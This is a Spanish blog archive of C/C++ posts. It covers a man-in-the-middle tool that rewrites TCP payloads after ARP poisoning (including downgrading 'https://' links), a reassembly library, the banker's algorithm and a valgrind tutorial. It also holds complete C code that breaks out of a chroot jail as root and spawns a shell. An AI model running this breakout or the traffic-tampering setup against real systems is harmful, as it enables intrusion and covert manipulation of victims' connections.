Archive

Archive for the ‘C/C++’ Category

MiTM Replace / Jugando entre capas

October 24th, 2012 No comments

En este post me gustaría presentaros una herramienta y dar algunos ejemplos para jugar un poco con los protocolos Ethernet y TCP/IPv4 (en adelante TCP), en concreto para hacer Ethernet Forwarding y modificar el payload de los segmentos TCP.

La herramienta en cuestión está disponible en https://github.com/sch3m4/mitmreplace.

Nota: De aquí en adelante supondremos que estamos trabajando sobre redes Ethernet.

Como es sabido, la tarea más básica de cualquier router que se precie, es el de interconectar distintas redes. Esta tarea se lleva a cabo (simplificando) cambiando la cabecera Ethernet (origen y destino) así como la cabecera IP, guardándo las “equivalencias” en una tabla en la memoria del dispositivo.

De manera casi similar funcionan los puentes de red, cuya tarea seŕia la de unir varias redes en una, pero sin realizar los cambios de ambas cabeceras (lo que sí hace un router).
La herramienta en cuestión realiza un “mix” entre estos dos modos de funcionamiento, actúa como un puente de red entre una o más redes, ofreciendo la posibilidad de manipular el payload de los segmentos TCP.

Q: ¿Un puente sobre una única red?
A: Sí, dependiendo de los entornos que veremos a continuación trabajaremos sobre una red o sobre dos.

La idea para poder realizar esto, es lanzar la herramienta sobre una red en la que controlemos el tráfico, ¿cómo lo conseguimos? Pues entre otras opciones, tenemos el envenenamiento ARP y montar un punto de acceso falso. Por ello, si hacemos envenenamiento ARP trabajaremos sobre una única red, y si optamos por montar el punto de acceso trabajaremos con dos redes.

Veamos una imagen para ver más claro cómo funciona la herramienta en cada uno de estos entornos:

Nota: Las siguiente imagen no se corresponde con una arquitectura de red real, solo pretende mostrar el flujo de datos.

En esta figura se puede ver el flujo de datos entre los PCs 4 y 5 siendo víctimas de un envenenamiento ARP por el PC 3, por lo que estos tres equipos están en el mismo segmento de red y solo disponen de una interfaz de red.

Es importante cuando ejecutemos la herramienta, desactivar el IP Forwarding en el sistema, ya que será la propia herramienta quien realice esta tarea. Otro detalle importante es que la herramienta no realiza NAT, por lo que debemos estar preparados para enrutar el tráfico sobre las IPs que a priori desconozcamos.

Si por el contrario hemos montado un punto de acceso (siendo nosotros el PC-3) tendremos dos interfaces, una interface por la que enrutar el tráfico de los clientes (modificado o no) y otra interface (Wireless) donde se conectarán los clientes.

Dicho esto, vamos a comenzar con algunos ejemplos sobre la herramienta en cada uno de estos entornos.

Lo primero como siempre, es descargarnos la herramienta:

$ git clone git://github.com/sch3m4/mitmreplace.git
Cloning into ‘mitmreplace’…
remote: Counting objects: 56, done.
remote: Compressing objects: 100% (43/43), done.
remote: Total 56 (delta 12), reused 55 (delta 11)
Receiving objects: 100% (56/56), 286.47 KiB | 117 KiB/s, done.
Resolving deltas: 100% (12/12), done.

A continuación entramos en el directorio y compilamos (necesitaremos las siguientes librerías: glib-2.0, xml2, pcap):

$ ./configure && make
checking for a BSD-compatible install… /usr/bin/install -c
(…)
config.status: creating Makefile
config.status: creating src/Makefile
config.status: creating config.h
config.status: config.h is unchanged
config.status: executing depfiles commands
(CDPATH=”${ZSH_VERSION+.}:” && cd . && /bin/bash /home/sch3m4/mitmreplace/missing –run autoheader)
rm -f stamp-h1
touch config.h.in
cd . && /bin/bash ./config.status config.h
config.status: creating config.h
config.status: config.h is unchanged
make  all-recursive
make[1]: se ingresa al directorio `/home/sch3m4/mitmreplace’
Making all in src
make[2]: se ingresa al directorio `/home/sch3m4/mitmreplace/src’
gcc  -g -O2   -o mitmreplace mitmreplace-checksum.o mitmreplace-forward.o mitmreplace-main.o mitmreplace-patterns.o mitmreplace-replace.o  -lglib-2.0 -lpcap -lxml2 -lpthread
make[2]: se sale del directorio `/home/sch3m4/mitmreplace/src’
make[2]: se ingresa al directorio `/home/sch3m4/mitmreplace’
make[2]: se sale del directorio `/home/sch3m4/mitmreplace’
make[1]: se sale del directorio `/home/sch3m4/mitmreplace’

Y tendremos la herramienta lista para ser ejecutada:

Su uso es bastante intuitivo, los parámetros “ingw” y “outgw” corresponden a las direcciones MAC de los gateways legítimos tanto de entrada como de salida, para que el equipo que recibe los datos modificados “crea” que provienen del dispositivo legítimo.

El objetivo en este caso va a ser un dispositivo Android que visitará http://safetybits.net Y lanzaremos la herramienta de manera que reemplazará todas las coincidencias de “libntoh” por “l33t.0f”, este es el contenido legítimo que el objetivo visualizaría:

Para llevar a cabo este “ataque” la herramienta dispone de un archivo donde introduciremos los datos que queremos reemplazar. Este archivo es un XML donde especificaremos la cadena a encontrar y la cadena por la que será reemplazada. Si una de estas dos cadenas deben ser tratadas como datos binarios, debe indicarse mediante un atributo que pondremos a “1″ o “0″ en función de si alguna de las cadenas deben ser tratadas como datos binarios respectivamente, en cuyo caso las representaremos en hexadecimal.

El archivo en cuestión tiene el siguiente formato, y para este ejemplo no necesitaremos modificarlo pues ya tiene los reemplazos que necesitamos:

Como se puede ver, reemplazaremos “Acept-Encoding: gzip” por “Accept-Encoding: text” para poder acceder a la respuesta en bruto (sin comprimir). El siguiente patrón es el que realmente cambiará el texto que necesitamos.

Por lo tanto (como se aprecia en la imagen), debemos crear una entrada en este archivo siguiendo el formato estipulado por cada reemplazo que queramos realizar.

Lo primero que vamos a realizar es un envenenamiento ARP de un cliente (192.168.1.45), haciendo uso de arpspoof:

Lo siguiente (no necesariamente en este orden) es desactivar el IP Forwarding, para ello usamos sysctl:

Con nuestro escenario preparado, solo necesitamos lanzar la herramienta indicándole la puerta de enlace legítima y la interfaz que vamos a utilizar:

A partir de ahora, será la herramienta quien realice el forwarding para mantener el acceso a la red del objetivo, y cada vez que encuentre un segmento TCP en el que exista alguna coincidencia con los datos especificados a través del fichero XML, lo sustituirá y enviará el segmento de vuelta a la red, causando el siguiente salida y efecto en el cliente:

Ha de quedar claro que la herramienta “no entiende” de protocolos de aplicación, el reemplazo solo se realiza en segmentos TCP, y como probáblemente más de uno se ha dado cuenta, las cadenas “libntoh” y “l33t.0f” tienen la misma longitud, ¿Por qué? La respuesta es bastante simple, si intentamos reemplazar “aabbcc” por “ABC” el resultado será “ABCbcc”. Esto es así, por la limitación del MSS, ya que de sobrepasarlo habría que enviar otro segmento TCP, y de cualquier modo, si modificamos la longitud del segmento, habría que ajustar el número de secuencia en dicho punto de la conexión, lo que desestabilizaría la conexión ya que no estamos haciendo de proxy a nivel TCP.

Con esto ya podemos “jugar” cambiando URLs de javascripts, imágenes, PDFs, binarios, “https://” por ” http://” (fíjate que hay un espacio ;-) ), etc.

libntoh @ GitHub

December 7th, 2011 No comments

Hace mucho tiempo que no escribo, y esta vez lo hago para presentar un proyecto personal que he decidido publicar.

Este proyecto es una librería escrita en C, que pretende agregar una capa más para determinadas aplicaciones de red, agregando las funcionalidades de desfragmentación de datagramas IPv4 y reensamblado de segmentos TCP.

El motivo que me ha llevado a escribir y publicar esta librería, es que las posibles opciones que se toman cuando se intentan realizar estas tareas son usar libnids o escribir una implementación propia. Esto no es problema para una sola aplicación, pero extrapolando el “problema” tenemos muchas implementaciones diferentes que realizan la misma tarea. En el caso de libnids, el primer problema viene con la licencia (GPL), otro problema viene con la concurrencia, otro inconveniente es la poca flexibilidad que ofrece (a costa de intentar dar usabilidad al usuario), ya que si usamos libnids obligatoriamente no podremos salirnos de las capas de enlace soportadas por la librería, no podremos gestionar las conexiones de manera individual, etc.

Por todo esto y algunos motivos más, me decidí a comenzar este proyecto. Aunque la versión actual (0.3a) es una “Alpha” se comporta bastante bien según las pruebas que he realizado, realizando correctamente  el reensamblado de segmentos TCP y la desfragmentación de datagramas IPv4.

Dado que es una versión “Alpha” puede que tenga fallos, así que si encuentras alguno o ves alguna incongruencia, ¡notifícala!.

URL: [email protected] [email protected]

Categories: C/C++, libntoh, Programacion, Proyectos, Red, UNIX Tags:

Bypassing Chroot

March 3rd, 2010 No comments

Con la excusa de llevar mucho tiempo sin escribir ninguna entrada, aprovecho para decir que ya se ha inaugurado el blog de elhacker.net (blog.elhacker.net).

La primera entrada, de la mano de Kamsky habla sobre jaulas chroot, y algunos métodos para saltarnos esta medida de prevención.

El artículo original: http://blog.elhacker.net/2010/03/jaulas-chroot.html

Aquí adjunto el código retocado para salir del chroot siendo root:

/*
Chema Garcia (a.k.a. sch3m4)

[email protected]

http://safetybits.net

*/

#include <stdlib.h>
#include <stdio.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <pwd.h>

#define FOLDER      "chbrk"
#define PERM        0700
#define MAX_CHDIR   200

#define SHELL       "/bin/sh"

int main()
{
    int           fd;
    struct stat   statf;
    ino_t         aux;
    unsigned int  cont;
    struct passwd *owner;
    char          *directory;

    if(getuid()!=0)
    {
        fprintf(stderr,"\nThis program cannot work without root privileges\n");
        return -1;
    }

    fd=open(".",O_RDONLY);
    mkdir(FOLDER,PERM);
    chroot(FOLDER);
    fchdir(fd);
    close(fd);

    aux=0;
    cont=0;
    while(!stat(".",&statf) && aux!=statf.st_ino && cont++ < MAX_CHDIR)
    {
        aux=statf.st_ino;
        chdir("..");
    }

    if(aux==statf.st_ino)
    {
        chroot(".");
        owner=getpwuid(statf.st_uid);

        directory=getcwd(0,0);
        fprintf(stderr,"\n+=[ Done! ]=+\n");
        fprintf(stderr,"\n+ Directory:  %s",directory);
        fprintf(stderr,"\n+ Inode:      %d",(int)statf.st_ino);
        fprintf(stderr,"\n+ Owner:      id=%d (%s) / gid=%d \n\n",owner->pw_uid,owner->pw_name,owner->pw_gid);
        free(directory);

        execl(SHELL,(char*)0,(char*)0);
    }

   return 0;
}

Y la url a pastebin: http://pastebin.com/su0wsDer

Categories: Ataques, C/C++, GNU/Linux, Programacion, Seguridad Tags:

Algoritmo del Banquero – Implementacion (C)

May 25th, 2009 1 comment

Hace poco tiempo tuve que hacer una implementación del Algoritmo del Banquero usado en SSOO, aquí os dejo un extracto de la Wikipedia y el enlace al código:

http://es.wikipedia.org/wiki/Algoritmo_del_banquero

El Algoritmo del banquero, en sistemas operativos es una forma de evitar el interbloqueo, propuesta por primera vez por Edsger Dijkstra. Es un acercamiento teórico para evitar los interbloqueos en la planificación de recursos. Requiere conocer con anticipación los recursos que serán utilizados por todos los procesos. Esto último generalmente no puede ser satisfecho en la práctica.

Este algoritmo usualmente es explicado usando la analogía con el funcionamiento de un banco. Los clientes representan a los procesos, que tienen un crédito límite, y el dinero representa a los recursos. El banquero es el sistema operativo.

El banco confía en que no tendrá que permitir a todos sus clientes la utilización de todo su crédito a la vez. El banco también asume que si un cliente maximiza su crédito será capaz de terminar sus negocios y retornar el dinero de vuelta a la entidad, permitiendo servir a otros clientes.

El algoritmo mantiene al sistema en un estado seguro. Un sistema se encuentra en un estado seguro si existe un orden en que pueden concederse las peticiones de recursos a todos los procesos, previniendo el interbloqueo. El algoritmo del banquero funciona encontrando estados de este tipo.

Los procesos piden recursos, y son complacidos siempre y cuando el sistema se mantenga en un estado seguro después de la concesión. De lo contrario, el proceso es suspendido hasta que otro proceso libere recursos suficientes.

En términos más formales, un sistema se encuentra en un estado seguro si existe una secuencia segura. Una secuencia segura es una sucesión de procesos, < P1,…, Pn > , donde para un proceso Pi, el pedido de recursos puede ser satisfecho con los recursos disponibles sumados los recursos que están siendo utilizados por Pj, donde j < i. Si no hay suficientes recursos para el proceso Pi, debe esperar hasta que algún proceso Pj termine su ejecución y libere sus recursos. Recién entonces podrá Pi tomar los recursos necesarios, utilizarlos y terminar su ejecución. Al suceder esto, el proceso Pi+1 puede tomar los recursos que necesite, y así sucesivamente. Si una secuencia de este tipo no existe, el sistema se dice que está en un estado inseguro, aunque esto no implica que esté bloqueado.

Así, el uso de este tipo de algoritmo permite impedir el interbloqueo, pero supone una serie de restricciones:

  • Se debe conocer la máxima demanda de recursos por anticipado.
  • Los procesos deben ser independientes, es decir que puedan ser ejecutados en cualquier orden. Por lo tanto su ejecución no debe estar forzada por condiciones de sincronización.
  • Debe haber un número fijo de recursos a utilizar y un número fijo de procesos.
  • Los procesos no pueden finalizar mientras retengan recursos.

Descarga

Categories: C/C++, Programacion, SSOO Tags:

Análisis dinámico de ejecutables en GNU/Linux

April 18th, 2009 No comments

Normalmente, cuando estamos desarrollando una aplicación y queremos depurarla para ver una descripción más detallada de los posibles errores, solemos usar GDB (GNU Debugger), para hacer una traza de las llamadas a rutinas, ver el contenido de la pila, registros, etc.

Todo este procedimiento está muy bien para subsanar errores, pero ¿y si lo que queremos no es solo subsanar errores sino que además queremos optimizar nuestra aplicación? Es bien sabido que se le pueden pasar ciertos parámetros al compilador para ayudarnos en esta tarea (optimización de código en tamaño y velocidad, uso variables no inicializadas, errores/warnings de conversión de tipos, arquitectura, estándares, etc.) pero ¿qué hay de la gestión que realiza nuestra aplicación de la memoria dinámica? Además de que por accidente reservemos menos memoria de la que necesitamos (olvidando un “+1″ en algún calloc) que puede no fallar siempre, y que hará que nos dejemos los ojos buscando el error, puede que olvidemos un free que puede “no tener importancia”, pero que después de un tiempo de ejecución el sistema se ralentiza y la aplicación nos suelta un precioso mensaje de “Violación de segmento”.

Para analizar todos estos problemas en tiempo de ejecución, existe una herramienta de análisis y depuración dinámica para las plataformas “X86/Linux, AMD64/Linux, PPC32/Linux, PPC64/Linux.” (*BSD??), llamada “valgrind“.

Veamos un ejemplo con el siguiente programa:

#include <stdlib.h>

int main()
{
        char *x=calloc(10,sizeof(char));
        return 0;
}

Para que valgrind sea capaz de darnos una información más detallada, vamos a compilar este programa con la opción “-g” de gcc para incluir los símbolos.

Analizamos con valgrind:

$ valgrind ./p1
==30042== Memcheck, a memory error detector.
==30042== Copyright (C) 2002-2007, and GNU GPL’d, by Julian Seward et al.
==30042== Using LibVEX rev 1854, a library for dynamic binary translation.
==30042== Copyright (C) 2004-2007, and GNU GPL’d, by OpenWorks LLP.
==30042== Using valgrind-3.3.1-Debian, a dynamic binary instrumentation framework.
==30042== Copyright (C) 2000-2007, and GNU GPL’d, by Julian Seward et al.
==30042== For more details, rerun with: -v
==30042==
==30042==
==30042== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 13 from 1)
==30042== malloc/free: in use at exit: 10 bytes in 1 blocks.
==30042== malloc/free: 1 allocs, 0 frees, 10 bytes allocated.
==30042== For counts of detected errors, rerun with: -v
==30042== searching for pointers to 1 not-freed blocks.
==30042== checked 59,868 bytes.
==30042==
==30042== LEAK SUMMARY:
==30042==    definitely lost: 10 bytes in 1 blocks.
==30042==      possibly lost: 0 bytes in 0 blocks.
==30042==    still reachable: 0 bytes in 0 blocks.
==30042==         suppressed: 0 bytes in 0 blocks.
==30042== Rerun with –leak-check=full to see details of leaked memory.

Inicialmente, nos informa de que hemos reservado 10 bytes que no han sido liberados antes de finalizar el programa. Ahora ejecutaremos valgrind con la opción “–leak-check=full” para mayor información, y además de la información anterior, nos dice:

==30171== 10 bytes in 1 blocks are definitely lost in loss record 1 of 1
==30171==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==30171==    by 0x80483C8: main (p1.c:5)

Este ejemplo es muy básico, y solo nos muestra un mensaje de error, así que ahora vamos a provocar un error menos evidente colocando correctamente las llamadas a free:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)]='B';
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Aparentemente parece que todo está bien, incluso si lo compilamos y ejecutamos, lo más probable es que tengamos los printf`s esperados, así que compilando de nuevo con la opción “-g” vamos a ver qué dice valgrind:

$ valgrind –leak-check=full ./p1
==32101== Invalid write of size 1
==32101==    at 0×8048469: main (p1.c:14)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0×4024483: strlen (mc_replace_strmem.c:242)
==32101==    by 0×4094604: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x40A0C38: _IO_default_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x409DCB0: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0x419002e is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DADC: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
==32101==
==32101== Invalid read of size 1
==32101==    at 0x409DA6B: _IO_file_xsputn (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0×4094692: puts (in /lib/i686/cmov/libc-2.7.so)
==32101==    by 0x804847A: main (p1.c:15)
==32101==  Address 0×4190066 is 0 bytes after a block of size 6 alloc’d
==32101==    at 0x4021E22: calloc (vg_replace_malloc.c:397)
==32101==    by 0×8048435: main (p1.c:11)
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
aaaaaaB
==32101==
==32101== ERROR SUMMARY: 29 errors from 5 contexts (suppressed: 13 from 1)
==32101== malloc/free: in use at exit: 0 bytes in 0 blocks.
==32101== malloc/free: 6 allocs, 6 frees, 36 bytes allocated.
==32101== For counts of detected errors, rerun with: -v
==32101== All heap blocks were freed — no leaks are possible.

Según valgrind, tenemos errores en las lineas 11 y 15:

11: p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
15: printf("%s\n",p[i]);

Aunque todo parece estar bien, el error no está en esas líneas, sino que en esas líneas es donde se produce el error. Si se revisan las posiciones del array “p” y los accesos a sus posiciones,  vemos que en la linea 14 estamos accediendo a:

14: p[i][sizeof(p)/sizeof(*p)]='B';

Vamos a verlo de otra manera, reemplazamos “sizeof(p)/sizeof(*p)” por el número ’6′ para hacer el asunto más evidente:

11: p[i]=(char*)calloc(6,sizeof(char));
14: p[i][6]='B';

Se ve claro que la última posición del array ‘p[i]‘ no es 6 sino 5, por tanto al recorrer el array y asignar a cada una de sus posiciones un valor distinto de nulo, incluso en la posición 6 que está fuera del array:

12: for(j=0;j<6;j++)
13:	p[i][j]='a';
14: p[i][6]='B';

La llamada a “printf” fallará al calcular la longitud del array, ya que buscará un carácter nulo fuera de los límites del array, y esto es de lo que nos advierte valgrind. El código correcto en este caso sería:

#include <stdio.h>
#include <stdlib.h>

int main()
{
	char *p[6];
	int i,j;

	for(i=0;i<sizeof(p)/sizeof(*p);i++)
	{
		p[i]=(char*)calloc(sizeof(p)/sizeof(*p),sizeof(char));
		for(j=0;j<sizeof(p)/sizeof(*p);j++)
			p[i][j]='a';
		p[i][sizeof(p)/sizeof(*p)-1]=0;
		printf("%s\n",p[i]);
		free(p[i]);
	}

	return 0;
}

Por supuesto valgrind no está limitado a los casos que he planteado, a su vez puede cargar varias herramientas a modo de plugins para ayudarnos en el análisis (simulación de memoria caché, gráficos de llamadas, heap profiler, etc.).

Más información sobre valgrind:

http://www.valgrind.org/
http://en.wikipedia.org/wiki/Valgrind

Categories: C/C++, GNU/Linux, Programacion, Seguridad Tags: